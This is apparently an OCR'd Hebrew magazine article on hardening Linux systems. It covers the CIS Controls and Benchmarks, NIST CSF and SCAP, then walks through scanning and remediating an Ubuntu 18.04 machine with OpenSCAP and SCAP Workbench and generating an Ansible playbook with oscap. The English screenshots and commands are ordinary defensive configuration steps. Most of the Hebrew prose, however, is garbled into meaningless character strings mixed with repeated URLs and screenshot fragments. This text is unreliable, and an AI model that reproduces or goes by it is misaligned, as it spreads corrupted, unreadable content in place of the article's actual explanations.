DY ) D07IN ,20 AT 12D 0NN DYIXIA D0'¥APA NIYZIN NIXR'YNY D'ONI0IR D7) .0'9PINN
TNTN NANN NNX CIRTR NUNN DAY NIDN NTN72 DA YNNWN? NIRIfF0Y 1Yyl NINNRN

nun .2016 mawn DARPA 7w Cyber Grand Challenge-n ninNN X'n AT DINNA DIMMIyAvnn

790NY NNNY .'UNIVIR [DIX] NIYZIN [7N71 NI727 NI71D'W NIMNIVIXK NN NN97 NN“*N NNNNN
1727 N'YNIVIK NIV'YA IYNNYD NIDITA NIDINN 70 ,NdNn NTN72 wnnwn? 101 NNNN2 0NIX
Symbolic ) n'712an'0 nx1n 'vian oy (Fuzzer) D'TRO 7w 121 217'WW 1aNON NI NN NIYYIN

JUNIVIX [91X] NIDN NIYYIN XI¥N7 "wWoNN (Execution

7¥ TINN NNI2A NN NnpPTIN nDINY |'m'7 DMYOKXN DN .TIKN 2'NI NN NPT 22 DN DNITRD
IX ,O"pIN DY'RY D'U'7|7 I73.|7]'1I NT'Na NANINN N'DINN TXD |7I'I'1'7 AYWOKX O .0 wni DIV D'U'7|7

N"DINN 7¢ NIANINNN DX 1017 TWOXN DA TRONY [mi)ap) I73.|7'7 N11DIN X'N NNIXK N'1ANNN 0D1IY

T P70 - NIR'NAL YD 120 NN NN '
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https://sites.google.com/view/jacobrimer/
https://cset.georgetown.edu/
https://cset.georgetown.edu/
https://cset.georgetown.edu/
https://cset.georgetown.edu/
https://www.digitalwhisper.co.il/files/Zines/0x89/DW137-4-CyberAI.pdf
https://www.digitalwhisper.co.il/files/Zines/0x89/DW137-4-CyberAI.pdf
https://www.digitalwhisper.co.il/files/Zines/0x8A/DW138-3-CyberAI-Part2.pdf
https://www.digitalwhisper.co.il/files/Zines/0x8B/DW139-3-CyberAI-Part3.pdf
https://en.wikipedia.org/wiki/2016_Cyber_Grand_Challenge
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,NDINN 7W NIOMR IN NIYIXY X7 NIYOINYT D'MIIAY D'UYR INK? [N D .0'0%77 7 N1 Vo 75 1Y

JIWTIN IX D'AXA7 702 D' n'o

(Verification) nm'x7 7ipna nTynw (0w 50- N1) TIXA NP1 N'AI71D0 XD NY7120°'0 N¥IN DA
N7X ,N'DINN DR AR 0¥ K7 ,N0'WN 99 NNy niNnY .0'ion TI7 yop 7w N2 nnman v
DIININ 12N DX DAY 2pyvnn 170N .A7W DImIn anl NITEon NIMTPNN NN DRIy
N'DINN 12 2¥nNN DX L(D"0YIR DDIWYN 7'Tan?) D'71aNn'0 NIYYNXA N'DINN W 0NNl

Jonnnn npm'm DINNN D'A17 O'NIN NIYYNAN] NINXN]

7w N7¥IN yI¥a D N70 NN PONON X7X ,NTN INRAN NNA0NA ITH N'AI710002 MNIF PAYNR K7
[N D7 'onnn VOWN YW NNDINYT NNITA ,TIPN NIIDY DX '0I7NY NNKRY TWOXN NY71A1'0 N¥IN

.NNLAN NIY7IN IX NIXAY NNy NNIVXnNxXa K7

AWKRD NIDN NI7aan v 19RD NIo'wn w7 ane (1) nmivawn nadom NIRNNN ANIRNND XD TY
[12) 217'WW 12NOoNY N'770 NN'MKA 71 7ONOKX 1Y 'MMRN 071Y2 NIdWN 7w TIR 7V INIK D'¥In
INKY7 CWONN L(Static code analysis) D'PIN NI>WN NIY¥ANL NDIN NN W NIV'Y DY TN' N7
TNX QAW nTavn LCSET 7w dnRnn 'And D'YAY '9) CMMND D712 NIDINA DA NIY7IN
NTN7Y NTYN L[N7Y NIDIWNA MDA NTNAY 27¢7 1IN 1K X7 2016-2 TINNNA D'NXIAN D'NIHIXNN

JIYRIN W N'ONIVIN AR'YNT? QTYIAN [NN9N NIN7A NRINY N1IDN

N'D D 7Y T'WRT AN naon TN LTIRA XY 7NIRNNNKRD DAYN WY DNWA 178 DNAT DXN
1782) NIYTN NIY7INQ N™7Y 72V NN 178 .DNIWN 12von N2an NiNAN 7w DId'on NINIT NXN{?

.MINNXN N9IPNA (0-day NRDNY

NTNY 7¢ NIV'Y NIV NIY7ZIN RIXNT? N71D'2 DMIyAwn T NIXNAS 0N TV 'R My T 20y

112y (Supervised learning) N'NaM_NT'N% NAIVY [IN'R NARN N7 'wipn 77221 DN .TA%72 mapn

7220 X7 xR 270 AYT7IN ,nNnarT? CTipn N2 NIKLVANN NIYYIN 1Y [9IXN 7722 7RI IT QA
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https://www.themarker.com/technation/2018-01-14/ty-article/0000017f-e681-df5f-a17f-ffdfab040000
https://www.themarker.com/technation/2018-01-14/ty-article/0000017f-e681-df5f-a17f-ffdfab040000
https://www.themarker.com/techblogs/misterdata/BLOG-1.6455820
https://www.themarker.com/techblogs/misterdata/BLOG-1.6455820
https://www.themarker.com/techblogs/misterdata/BLOG-1.6455820
https://www.themarker.com/techblogs/misterdata/BLOG-1.6455820
https://www.digitalwhisper.co.il/files/Zines/0x89/DW137-4-CyberAI.pdf
https://www.digitalwhisper.co.il/files/Zines/0x89/DW137-4-CyberAI.pdf
https://www.digitalwhisper.co.il/files/Zines/0x89/DW137-4-CyberAI.pdf
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https://www.digitalwhisper.co.il/files/Zines/0x8B/DW139-3-CyberAI-Part3.pdf
https://www.digitalwhisper.co.il/files/Zines/0x8A/DW138-3-CyberAI-Part2.pdf
https://www.themarker.com/blogs/misterdata/BLOG-1.8955328
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:CIS Security Framework - 2172 Ty1 J0j ,]1IAOR2 Y TN NNVAX

@ CIS Controls” \/ 7

Basic i Foundational i Organizational

1 Inventory and Control
of Hardware Assets

2 Inventory and Control
of Software Assets

7 Email and Web 12 Boundary Defense
Browser Protections

8 Malware Defenses 13 Data Protection §

Implement a Security
Awareness and Training
Program

Application Software
Security

3 (Continuous : Q Limitation and Control 14 Controlled Access H 9 Incident Response
Vulnerability : of Network Ports, Based on the Need H and Management
Management : Protocols, and Services to Know -

4 Controlled Use . 10 Data Recovery 15 Wireless Access H 20 Penetration Tests and
of Administrative . Capabilities Control 5 Red Team Exercises
Privileges : :

5 Secure Configuration for H 11 Secure Configuration 16 Account Monitoring
Hardware and Software on E for Network Devices, and Control
Mobile Devices, La;)tnps. : such as Firewalls,

Workstations and

ervers : Routers and Switches

6 Maintenance,
Monitoring and
Analysis of Audit
Logs

[120X 7w 210 797 YT'™N-NNVAN NNPA Q0IX - 3 I'K]

NIX RAAITD NP X ' TAan NNYRNN [PNY DNNpAN QO0IX 7¢ 7myn NINYI7 A1 KNl 7193 X7
Secure Configuration for Hardware and Software on - nX1j7a1 Basic CIS Control-2 n1Tamn nijpzan

.(3 2'xa 5 'on via) Mobile Devices, Laptops, Workstations and Servers
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:0'NAN 077NN 12 NNYPRD 9'Vo 7D

50nn PI'YIQ'VoNn Yy

1.1.1.1 Ensure mounting of cramfs filesystems is disabled (Automated)

:NnNn N7 7919 'y

Profile Applicability:
e Level 1 - Server

e Level 1 - Workstation

1907 27wWpN1 NdINN 7w N710'N Nun 7 N

Description:

The crames filesystem type is a compressed read-only Linux filesystem embedded in small

footprint systems. A cramfs image can be used without having to first decompress the
image.

N9'PN hvun ¥ AwATA - YT'N-NNVAKX 'U2NA NYANVIN

Rationale:

Removing support for unneeded filesystem types reduces the local attack surface of the
server. If this filesystem type is not needed, disable it.

NPT2IN NOYN Nnhvpnn Q'vo (o] [b]6lo}) NP TN NIRYIN

Audit:

Run the following commands and verify the output is as indicated:

# modprobe -n -v cramfs | grep -E ' (cramfs|install)®

install /bin/true

# lsmod | grep cramfs

<No ocutput>

NPT2IN NOWNAN 7Y 75191 IM'700 - NNYRNN V0 11y WInm? NIKIN

Remediation:

Edit or create a file in the /etc/modprobe. d/ directory ending in .conf
Example: vim /etc/modprobe.d/cramfs.conf
and add the following line:

install cramfs /bin/true

Run the following command to unload the cramfs module:

# rmmod cramfs
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:CIS Security Framework-2 1 TAIMN M2 (1IN I'y e

CIS Controls:

Version 7

5.1 Establish Secure Configurations
Maintain documented, standard security configuration standards for all authorized

operating systems and software.

101 Y¥27 DX LP7 .107W IR N7ONT7 INIRNY X7 AWUR D'9'WO D' D NN 701 ,N'Yan Niva
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NIST - National Institute of Standards and Technology

vin'y ,0'01TIV0 NO'Y' ,NTTAY? NIRIYW DDOT DTR71 NN97 X' MUY 'R INR-'T9 1IN

.17100 DRIV DYNN NIDIR DX 19YWY7 NN0NA - NMIIDLA
NIST Cybersecurity Framework (NIST CSF)

'U1NM'Zn 2NN Nian ni7n: oIT'Pa )IXn oy 171000 071¥2 0'0NTIVO NN D'Y7NNN ,7'7n:>

A"NINa DTN DRIV NIToINN 7D nxarny 'Nji7'INX VITIVOD (v1va'RN)

XD ' TAN (D20 MYPENA D'0TTIVO 7Y [INXRN 091N 'MNA TAR) NIST CSF NNN TNy V1TIVON
*T22 NIXTI - (CIS-7 NNITA) (12N N'AI71000 NMMYN NIdIYNA N9'PNN 'NUYN DX N'NON71 7017 W
|71 DR QIDR7 ANIT [1AIRN,[211D .020 'WINK 7Y NN DAINNIL AN ,nyhana [9IX7 T'NR 17 1IX'Y

2"NNX 2NN 091930 DAIAR\NNTOM NNN NNVANRN

NNLAN NI71D' 7 NYWAIN N71D' DN AWK NIMD-TIRZ "7 11X N10Nd Xy 2y N7 NIST CSF [1ax
NIMO-TIZ '22 ININA 7702 .N'VNIVIX NI¥A (DT MXNL D TPRNN X 17V CIS 7unY) DY D'0VITOI
Security Content Automation - SCAP Dwa D'WUTN D'UNTIVO NWAINT TVIAN WTN 771009 NY
DIY" DYONNN NIND-TI 'U'N92 win'w 27wni NIST X 'y pTnimn *2201 7217101090 .Protocol

.01IY D'0ITIVO 7Y NDKI

NIST Repository

nvNna NIST X ™y 21ami prninn NCP .National Checlist Program - NCP-3 7 Tamn nlini-ton
MTAN NWANT NOOTINE NOYIDSA NN NIRIDA .WTN-NNVAR 'RYIQ NRIDN 7Y 1aRn NINY

J1AAR2 NIDINTN7V9N NN 7W NNVAINNA
.SCAP 717101097 DXNNA WIN'Y'7 DN WX D'UNII9A NIPZOI0N NANN NIPTRINNAN NIIDAN

NCP 7v mawnin YNX7 vy
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OpenSCAP

7907 121 TV *7I0 .mM7wn NIST (2R ™'y PTRIMNI NNISNN NIMOS-TIZ 72 11'n OpenSCAP '7on
D'TYI'N NINOD-TI 72 '0nn 107mM XXMM .(NNRIY NIDIWWNA YT'N-NNVIAX '02NY7 Yaln 727 N¥nIvIR
NINAAITY ,NIS0I NIZID' NIN''R .ANYPEN N 7W D9HDNI 2V :NNLVN 2 NNWANT 1aT Y 19102

L7210 MNXNN NN NRIN' X7 WX, NIY7IN NP0

I7NA [1IAINQ NIdWNAN NTNY DR XTH? 0MpPan\D7nin7 TWoN? [N xmn 7v ni7inm niyyxnxa
X NINTAN NIX DTN - 0'9011 NN PN IRNX X7 .CIS Benchmark 1 X71 - D2Iw nnwpn

.MIY MIX2 NMNN\NR'YN N0 0NTan

1N7¥ NIDYNAN 1172 YT'NN NNVAR NIX 7017 117 "WOKRN XN 79 pnamn NN D 'nan? N1
AWON? T 1IN (NIWIXE™M NIdNOoNIE TV K"D) NIAdIM NIZDNA IX 'R - N8N Nitva

.N9OX\NM7
SCAP Base

-[Pn Mo y¥a? ,Command-Line T IX N'™M90) NWOXN TWX OpenSCAP-n '75 v 0'0an 21N

.SCAP Standard-2 qnnin nnwpn

NP0 Y¥AT 17 CWOKRY *TOa 07D 707 D07 |NW DIIWN D'UNMIISN qOIN RIn SCAP Standard
112V NNYENN '9'WO0 775 NN poonin XCCDF yalza wnnwin'? 1N11 OX ,7un? .0770 [DINY nn'rknnn

NNYPZNN [7N2 NOwNN NT'ARY7 079 721271 750 NIYYNKRA N7n0 y¥a? 751 - nntion ndwn

:D'>NNIN D'VNIISNN 77N

NYII9N NIXA ' TaNN yalp - Extensible Configuration Checklist Description Format - XCCDF e
NNTAN 7'2' OpenSCAP 7w 1w ,ANY7 .NN'lon NDWN 7V N7 TA7 D'YITIN D'9'YON OIX NX
AN NNYPZNN [7N7 DXNNA NNVAX

AXNN DX DYII9N NNIXA ' TANN Yalp - Open Vulnerability and Assessment Language - OVAL o
JID7YN2 NINTANYT XY 2¥N IR NIY7IN DIR'YNT IR 2907 INNUN YTN-NNVAN '01N] XN

DNYPEN 707 TNy X721 NIY2in NR'¥n? Tvim XCCDF-7 Tiana

SCAP Workbench

TIAY7 AWONN DN LUXINNAN WNNWNT? NN N9 NI OpenSCAP-2 wnnwn? TwoNnn '
250 niy¥nxa .SCAP Base N'™M901 WIN'Y NIY¥ANL NININ NIZID'N DX Y¥A7 1O N'9IA NNIXa

117 12K 1DIX7 DRNIN NNYEN 7'91M19 1FTaN7 7211 T¥'D NN
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SCAP Security Guide

NNTAN 7W 2N [1an Niodn NIe*719n .SCAP 71710197 DXNNA V77 'YAP NINAN NNVAX NIO™MID

1YW NIdYYNA 121 Best Practice win'y NiN'0ANN YT'N-NNLVAX

.USGCB-I STIG ,PCI DSS :D1Iw DN NN 7Y ATARY XTH? N2 NIOY7IDN NIYXNX]
NTNY N7 NIXa 7311 SCAP-2 NN |7NA NIMIRD NIDWYAN NNXK NT'AY? NYAT DNtz nT'na

A'NIYIATA

DN'YAXNN DINNY DRIY DIAKY NMYONN NIND-TIP 720 INWANI SCAP Security Guide 7 77nn
MIYPN ,NINNA XN VTN DI'YWYNN 700 ,'00TI00 [7N2 NRIY NN 7 ATy TWONY?

1

.1l

NNATND WUNNWK .[XD - *72N 7w GitHub-n ANXNn N10'7190 775 DY NINNRN X01AN DX TINY N1

2191192 D'DNNIN DIIYN DIPNN DX IRNKIE Ubuntu 18.04 112y nnwpnn 7'9119a

Ansible

wnwn ,(N'M1'nn INX0NA7 DNNY7 Nd'wnn YWKR) RedHat "'y ynix 2015-2 "wX OpenSource 72

JIIW NIDIYAL D210 7W NIRPNN K77 TAIvN 1T NNTan 70nand

NYN 7V XN NRIY NIFYNI0IX XYY ,SSH Nl 7ninnn akwna Python Na'‘na qwoxn "Hn
NIYXNANA NI7N1IRNN NRIY NIAA0 |2 N'NNI0IK 7W DTNR NN0XY7 XD NM2'Yn NN0nn .01 IR
DNNN2 '12'WI N1ANY? 0770 ,Playbooks Dapnn ,YAML '¥aj7 v ooiani nTn'%% N TIxn "0 .00

.Playbook-n NIXIINT DXNN2 NMIDAN NNTAN Y'Y DX AWONN DNXIN NIWAT?
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NNYEN 7'"70N NUXNILVIN

ANNNN N7'NN]ININY ') 07 NYITYN '] NNYRNN Y'70N
nNYpn 7'9M9 NN =
mpa =

NOHDNX =
.OpenSCAP NIYXNKNI N'UNIVIX NNIX2 D7WUN DK YXA7 TN'D TA'71 0'8an 07N
nANYpRa 7'9119 NNTan

ANX .M pPOY NNy ||7]']'7 DXNNA 7007 N¥ INIX DNTAN QOIXR NN ,1170NY '9D ,nNYpn 79119

:XCCDF *¥aj?> 117 027N 0'2'91N9N |11an NIX NIXYY? 7211 SCAP Security Guide NX T11W

root@ubuntu1864: /home/ubuntu/Desktop/scap-security-quide-0.1.62-oval-5.10% 1s
t ssg-centos8-ds-1.2.xml  ssg-debianii-ds.xml ssg-fuse6-ds-1.2.xml
ssg-centos8-ds.xml ssg-debian9-ds-1.2.xml ssg-fuse6-ds.xml
Contributors.md ssg-chromium-ds-1.2.xml ssg-debian9-ds.xml ssg-jre-ds-1.2.xml
ssg-chromium-ds.xml ssg-eks-ds-1.2.xml ssg-jre-ds.xml

( $50-Cs9-ds-1.2.xml ssg-eks-ds.xml $50-Macos1015-ds-1.2.xml
LICENSE $50-¢s9-ds.xml ssg-fedora-ds-1.2.xml  $59-macos1015-ds.xml
README.nmd ssg-deblan10-ds-1.2.xml ssg-fedora-ds.xml $sg-ocp4-ds-1.2.xml
ssg-centos7-ds-1.2.xml ssg-debian10-ds.xml ssg-firefox-ds-1.2.xml -0cp4-ds.xml
ssg-centos7-ds.xml ssg-deblan11-ds-1.2.xml -firefox-ds.xml §s9-0l7-ds-1.2.xml

:SCAP Workbench 11T 7'9non nx [yl

SCAP Workbench
File Help
Open content from SCAP Security Guide

Open Customization File

Save Customization Only
Save All

Quit ctrl+Q
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:(ubuntu18.04-2 TPNRNK "IX NT 1ANNL) V' TANT7 DX NNIX X01A2 N1

Open Source DataStream or XCCDF file

# | <« l@ubuntu @ Desktop || scap-security-guide-0.1.62-oval-5.10

Places Name A Size Modified
Q search ssg-rhv4-ds.xml 12.8 MB 05/27/2022
@ Recently Used ssg-rhv4-ds-1.2.xml 12.8 MB 05/27/2022
@& ubuntu ssg-sl7-ds.xml 20.6 MB 05/27/2022
@ Desktop ssg-ubuntu1604-ds-1.2.xml 5.7MB 05/27/2022
3 File System ssg-ubuntu1804-ds.xml 6.1MB 05/27/2022
3 Documents B ssg-ubuntu1804-ds-1.2.xml 6.1MB 05/27/2022
@ Music ssg-ubuntu2004-ds.xml 10.8 MB  05/27/2022
@ Pictures ssg-ubuntu2004-ds-1.2.xml 10.8 MB 05/27/2022
& Videos ssg-vsel-ds.xml 261.9kB 05/27/2022
@ Downloads ssg-vsel-ds-1.2.xml 261.9kB 05/27/2022
ssg-wrlinux8-ds.xml 5.1MB 05/27/2022
ssg-wrlinux8-ds-1.2.xml S.1MB 05/27/2022
ssg-wrlinux1019-ds.xml 8.1MB 05/27/2022
ssg-wrlinux1019-ds-1.2.xml 8.1MB 05/27/2022

Source DataStream, XCCDF file or SCAPRPM 2

Cancel Open

:(CIS [7n'7 DRNN2) N7W [I2ARD NIDWNA YAV 1M'D'RY ANWRNAN [7N'7 D'RNNAN 7'9119 1)
| | |

ssg-ubuntu1804-ds-1.2.xml - SCAP Workbench

Title Guide to the Secure Configuration of Ubuntu 18.04

Customization None selected =

Profile Profile for ANSSI DAT-NT28 Average (Intermediate) Level (40) Customize
Profile fFor ANSSI DAT-NT28 High (Enforced) Level (46)

Target Profile For ANSSI DAT-NT28 Minimal Level (19)

Profile For ANSSI DAT-NT28 Restrictive Level (45)
CIS Ubuntu 18.04 LTS Benchmark (71)
BN Pe Standard System Security Profile for Ubuntu 18.04 (45)

Rules Expand all

» Ensure /tmEGEET)

» Ensure /var Located On Separate Partition

» Ensure /var/log Located On Separate Partition

» Ensure /var/log/audit Located On Separate Partition
» Ensure Log Files Are Owned By Appropriate Group

> Ensure Log Files Are Owned By Appropriate User

» Verify Group Who Owns passwd File

> Verify Group Who Owns shadow File

» Verifv User Who Owns aroun File >
[ 0% (0 results, 40 rules selected)

1 Dryrun [7] Fetch remote resources (] Remediate Scan
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Customize Profile

Choose the ID of your profile.

Warning: Choose it wisely. It cannot be changed later and may be required if you choose to
use command line tools or various integrations of OpenSCAP.

The ID has to have a format of "xccdf_{reverse DNS}_profile_{rest of the ID}.
For example "xccdf_org.mycorporation_profile_server".

New Profile ID [xccdf_example.digitalwhisper _profile_cis_dw ]

“NIDON D'¥2A NIDIWNA NI'NN 7Y NNWZN 7'WOR NNATAN IXY?

Customizing "CIS Ubuntu 18.04 LTS Benchmark [CUSTOMIZED]"

q“;) 7J ' undo History DeselectAll || | Search | Showing match 1 out of 1 total found.

O D Verify that System Executable Have Root Ownership . Selected Item Properties &

() [Z] Verify that Shared Library Directories Have Root Ownership 7itle hmic Mounting and Unmounting of Filesystems|

O D Verify that System Executables Have Restrictive Permissions

O D Verify that Shared Library Files Have Restrictive Permissions

v & [ Restrict Dynamic Mounting and L ting ofFil em Type [xccdF:Group |
& (] pisable the Automounter

D fccdf_org.ssgproject.content_group_mounting |

e D Description
Disable Mounting of cramfs
. . 9 Linux includes a number of facilities for the automated
& D Disable Mounting of freevxfs addition and removal of filesystems on a running system.
~ D Disable Mounting of hfs These Facilities may be necessary in many environments,
. < but this capability also carries some risk — whether direct
& (7] pisable Mounting of hfsplus risk from allowing users to introduce arbitrary
~ D Disable Mounting of jffs2 filesystems, or risk that software flaws in the automated
Disable M : £ udf mount facility itself could allow an attacker to
P 4 D '?a € ﬁuntmg o - compromise the system. This command can be used to
.6 & Restrict Partition Mount Options list the types of filesystems that are available to the
% Value for hidepid option j currently executing kernel: $ find /lib/modules/ uname -

a oo r'/kernel/fs -type fF-name '*.ko' If these filesystems are
X Removable Partition not required then they can be explicitly disabled in a
O D Add nodev Option to /dev/shm configuratio file in /etc/modprobe.d.

)] D Add noexec Option to /var/tmp -

| Delete profile | . Cancel oK

.CIS Ubuntu 18.04 LTS 7w 7'9119n 112y DRNIN 7'9N9 1Ix*7 * 121 Customize NN 7V yIND'? 721

N9'IN 'NLYN DIXNX? NNWHN 127017 NNNIDIN
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J110X'Y DRNINN 7'91190 DX 1INeA

File Help
Open content from SCAP Security Guide
Open Other Content

Open Customization File

Save Customization Only
Save All

Quit

NN DIYIVY 197 [IYO NIFNY X NIPAN 7'9N90Y 17 D'W7 W) Mnuw yaignn ANk (Yol

N2 Jon7 vyl (17w DrkNIMN 7'oNon

ssg-ubuntu1804-ds-1.2.xml - SCAP Workbench

File Help

Title Guide to the Secure Configuration of Ubuntu 18.04

Customization | Select customization file... 2

Profile CIS Ubuntu 18.04 LTS Benchmark [CUSTOMIZED)] (7) + | | Customize
Target @® Local Machine Remote Machine (over SSH)
Rules Expand all

» Disable the Automounter

» Disable Mounting of cramfs
» Disable Mounting of freevxfs
» Disable Mounting of hfs

» Disable Mounting of hfsplus
» Disable Mounting of jffs2

» Disable Mounting of udf

0 0% (0 results, 7 rules selected)

Dry run Fetch remote resources Remediate Scan
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NNYRPNN NID'R 7V NP 7277 211 “Local Machine” n'j110 12 2x¥na SCAN 1IM9d 7y nx'n'? WNKY
NINT7 7211 SCAP Security Guide Dy 7Tnn-n1Ma yanw CIS No'7197 DXNNA .NdWwnRN 7w n'ndinn

KANYTNN DR
ssg-ubuntu1804-ds-1.2.xml - SCAP Workbench
File Help

Title Guide to the Secure Configuration of Ubuntu 18.04

| customization

Profile ! 1 Customize
Target
' Rules Expand all

| » Add nodev Option to /home

» Add nodev Option to /tmp

» Add nosuid Option to /tmp

» Disable SSH Support for .rhosts Files

» Disable SSH Root Login

| » Do Not Allow SSH Environment Options
» Enable SSH Warning Banner

» Set LogLevel to INFO

| » Set SSH authentication attempt limit

! 100% (71 results, 71 rules selected)

Clear Save Results v | | Show Report

]
Processing has been finished!

10%~ 7y Ny nN7w TN NNNaw kM (“Show Report”) npmon DIp'o 7V 75n01 NnT'Na

NNYN
Compliance and Scoring
The target system did not satisfy the conditions of 32 rules! Please review rule results and consider applying remediation.

Rule results
Severity of failed rules
Score

Scoring system Score Maximum Percent

urn:xcedf:scoring:default 9.166666 100.000000 9.17%
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10N WIN'WN DX NN'w7n X7 ubuntul8.04 7w 7TNN-N1M2 D NINYY 7210 NIRXINND DX [N 0T

RATA L )A]
v File Permissions and Masks
» Verify Permissions on Important Files and Directories
v Restrict Dynamic Mounting and Unmounting of Filesystems @
Disable Mounting of cramfs low “
Disable Mounting of freevxfs low “
Disable Mounting of hfs low “
Disable Mounting of hfsplus low “
Disable Mounting of jffs2 low “
Disable Mounting of udf low “
n9'DKX

SCAP 7w “Remediate” NiI71D'A win'y Yy¥d1 NMIX'Y OXNIMN 7'9192 nTNy7? n9DX yxa7 'ma

:(“Scan” 2y nx'n7) yNai - Workbench

ssg-ubuntu1804-ds-1.2.xml - SCAP Workbench

File Help

Title Guide to the Secure Configuration of Ubuntu 18.04

Customization  Select customization file... 2
Profile CIS Ubuntu 18.04 LTS Benchmark [CUSTOMIZED] (7) + | | Customize
Target @® Local Machine Remote Machine (over SSH)

Rules Expand all

» Disable the Automounter

» Disable Mounting of cramfs
» Disable Mounting of freevxfs
» Disable Mounting of hfs

» Disable Mounting of hfsplus
» Disable Mounting of jffs2

» Disable Mounting of udf

0 0% (0 results, 7 rules selected)

Dry run Fetch remote resources | [ | Remediate Scan
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.Technoloqgi

.(“Local Machine”-n) D'TaIy X N7V NTAVN YW ANWPn VYA 7211 Remediate N71> wnnwawd
JIVXINN D'1'UA D 117 2¥1'W DI2'0] NIXTY 701

ssg-ubuntu1804-ds-1.2.xml - SCAP Workbench

File Help

Title Guide to the Secure Configuration of Ubuntu 18.04

Customization

Profile 1 k MIZ Customize
Target
Rules Expand all

> Disable the Automounter

» Disable Mounting of cramfs
» Disable Mounting of freevxfs
» Disable Mounting of hfs

» Disable Mounting of hfsplus
» Disable Mounting of jffs2

» Disable Mounting of udf

T 100% (7results, 7 rules selected)

Clear Save Results v || Show Report

N .SCAP Security Guide-n 117 w'w 7TNN-N1M2 NO'™I9 7In 7R P00 DID'0 NIX AW N2 ,NYD

:14%~-7 07y NNWPENN 7'9119 D NIKY

Compliance and Scoring
The target system did not satisfy the conditions of 26 rules! Please review rule results and consider applying remediation.
Rule results
Severity of failed rules
1 ather 8 low
Score
Scoring system Score Maximum Percent
urnixcedf:scoring:default 13.333333 100.000000

v File Permissions and Masks @3ZD)
» Verify Permissions on Important Files and Directories

¥ Restrict Dynamic Mounting and Unmounting of Filesystems

Disable Mounting of cramfs low pass
Disable Mounting of freevxfs low

Disable Mounting of hfs low pass
Disable Mounting of hfsplus low
Disable Mounting of jffs2 low

Disable Mounting of udf low
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1VNIVIND DNYWPAA '7AN

NTY7? N'UNIVIX NNWPN Y¥a7 ' SCAP Workbench-2 wnnwn% |n1a 18D 1?7 [nnxn 77N

N2'202 YNIN'7 7210 INIK YUK Ansible playbook 1¥'*7 N1 ,0' 0K DN .wNNwNN pwnn NN'Y!

:NQN NTIR92 Wwnnwn? 7311 ,70 ow'? .Workbench SCAN-7 nwraa X7

oscap xccdf generate fix --profile xccdf dw_example.org profile_cis ubuntul804 template --fix-

type ansible --tailoring-file ./ssg-ubuntu1804-ds-1-tailoring.xml >
output.yml

.Customization-2 YTAINW 7'91N9N DW NX Y'Tan :--profile o

.(Bash-2 DA nIN) 7273w YAl A10 DX VY TANYT WWONN :--fix-type o

.Customization-> IMNTANW YaIpn QW :--tailoring-file e

Customization-n NX NIX' 11201) YOY NP0 7'9119 yalpn DY ¢ o

.(File

17w nIMwNn 7y Ansible Dy yMaw playbook-n 21N NX 7' AWK yalgn oW coutput.yml e

v 7007 n¥w nnwpnn 7'919 NX Ansible naw 0T yin%? 2211 - Playbook - 0790 niyynxa

.(Generate Ansible Playbooks) niiwn j1aaxn nidyn

Did'o

YT'N-NNVAN [PN DNINN WX DINTANN OIX I 107 N'A171200 'WIRN WAIT NDWN7 nNwzn 1'70n
2V NOMY WD 7170 UK LPIN D NT0ANYT 7510 DNYRNN PR NTAY DIYYARA NDYAN 1Ay
INIX NO'PNN 'NVYN DIXNAY )'70N NIdT DNIAITTN NIFMNVA NINTENNA 'WIZ DN [IARD ARYN

L o NN

AYONRN TYURK N'ONIVIX NMIIX] [IAAXRN NIDAYND N9'Phin 'NVYN NX D¥nx? 7211 INT 70N MNKRN2

7510 T¥D 11TNYT ,90112 .X'Y N0'™79IN 11V N9 N7 NP N7 ,NNYEN 7'N9 rMan? 17
D'YIN [IARN "AXYUN 7Y DNYRNN NU¥AIVIR IR Y¥27 117 2WOR' WK Ansible Playbook 1'%

DT N'XNIVIRY

7annn 7y

|21 NIN'SI ARINA 701y ,90102 .ANVAX NNDINNS 0TINND ZOIY ,N1dN NOTINA |[IWKRY IXIN gal

.N117120001 120N NNV
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